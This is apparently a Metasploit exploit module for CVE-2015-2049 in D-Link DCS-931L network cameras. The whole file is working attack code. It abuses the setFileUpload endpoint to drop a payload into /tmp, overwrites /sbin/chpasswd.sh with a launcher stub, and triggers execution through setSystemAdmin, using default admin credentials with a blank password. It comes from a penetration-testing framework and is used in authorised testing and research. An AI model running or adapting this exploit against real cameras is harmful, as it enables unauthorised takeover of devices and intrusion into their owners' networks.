##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  HttpFingerprint = { :pattern => [ /alphapd/ ] }

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'D-Link DCS-931L File Upload',
        'Description' => %q{
          This module exploits a file upload vulnerability in D-Link DCS-931L
          network cameras. The setFileUpload functionality allows authenticated
          users to upload files to anywhere on the file system, allowing system
          files to be overwritten, resulting in execution of arbitrary commands.
          This module has been tested successfully on a D-Link DCS-931L with
          firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21).
          D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly
          affected, but untested.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security
          'bcoles' # Metasploit
        ],
        'Payload' => {
          'Space' => 1024, # File upload
          'DisableNops' => true
        },
        'Platform' => 'linux',
        'Privileged' => false,
        'Targets' => [
          [
            'Linux mipsle Payload',
            {
              'Arch' => ARCH_MIPSLE,
              'Platform' => 'linux'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'References' => [
          [ 'CVE', '2015-2049' ],
          [ 'URL', 'https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities' ],
          [ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049' ] # Vendor advisory
        ],
        'DisclosureDate' => '2015-02-23',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('HttpUsername', [true, 'Camera username', 'admin']),
        OptString.new('HttpPassword', [false, 'Camera password (default: blank)', ''])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri('uploadfile.htm'),
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
    )

    unless res
      vprint_status("The connection timed out.")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res.code && res.code == 404
      vprint_status("uploadfile.htm does not exist")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS\-931L"/
      vprint_error("Authentication failed")
      return Exploit::CheckCode::Detected('The target service was detected')
    elsif res.code && res.code == 200 && res.body && res.body =~ /Upload File/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end
    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    payload_path = "/tmp/.#{rand_text_alphanumeric(rand(8) + 5)}"

    # upload payload
    res = upload(payload_path, generate_payload_exe)

    unless res
      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end

    if res.code && res.code == 404
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
    elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
      print_good("Payload uploaded successfully")
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload")
    end
    register_file_for_cleanup(payload_path)

    # overwrite /sbin/chpasswd.sh with stub
    res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n")

    unless res
      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end

    if res.code && res.code == 404
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
    elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
      print_good("Stager uploaded successfully")
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager")
    end

    # execute payload using stub
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('setSystemAdmin'),
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'vars_post' => Hash[{
        'ReplySuccessPage' => 'advanced.htm',
        'ReplyErrorPage' => 'errradv.htm',
        'ConfigSystemAdmin' => 'Apply'
      }.to_a.shuffle]
    )

    unless res
      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end

    if res.code && res.code == 401
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    elsif res.code && res.code == 200 && res.body
      print_good("Payload executed successfully")
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Payload execution failed")
    end
  end

  #
  # Replace chpasswd.sh with original contents
  #
  def cleanup
    chpasswd = <<~EOF
      #!/bin/sh
      #
      # $Id: chpasswd.sh, v1.00 2009-11-05 andy
      #
      # usage: chpasswd.sh <user name> [<password>]
      #

      if [ "$1" == "" ]; then
          echo "chpasswd: no user name"
          exit 1
      fi

      echo "$1:$2" > /tmp/tmpchpw
      chpasswd < /tmp/tmpchpw
      rm -f /tmp/tmpchpw
    EOF
    res = upload('/sbin/chpasswd.sh', chpasswd)
    if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
      vprint_good("Restored /sbin/chpasswd.sh successfully")
    else
      vprint_warning("Could not restore /sbin/chpasswd.sh to default")
    end
  end

  #
  # Upload a file to a specified path
  #
  def upload(path, data)
    vprint_status("Writing #{data.length} bytes to #{path}")

    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"ReplySuccessPage\"\r\n"
    post_data << "\r\nreplyuf.htm\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"ReplyErrorPage\"\r\n"
    post_data << "\r\nreplyuf.htm\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n"
    post_data << "\r\n#{path}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n"
    post_data << "Content-Type: application/octet-stream\r\n"
    post_data << "\r\n#{data}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n"
    post_data << "\r\nUpload File\r\n"
    post_data << "--#{boundary}\r\n"

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('setFileUpload'),
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => post_data
    )
  end
end
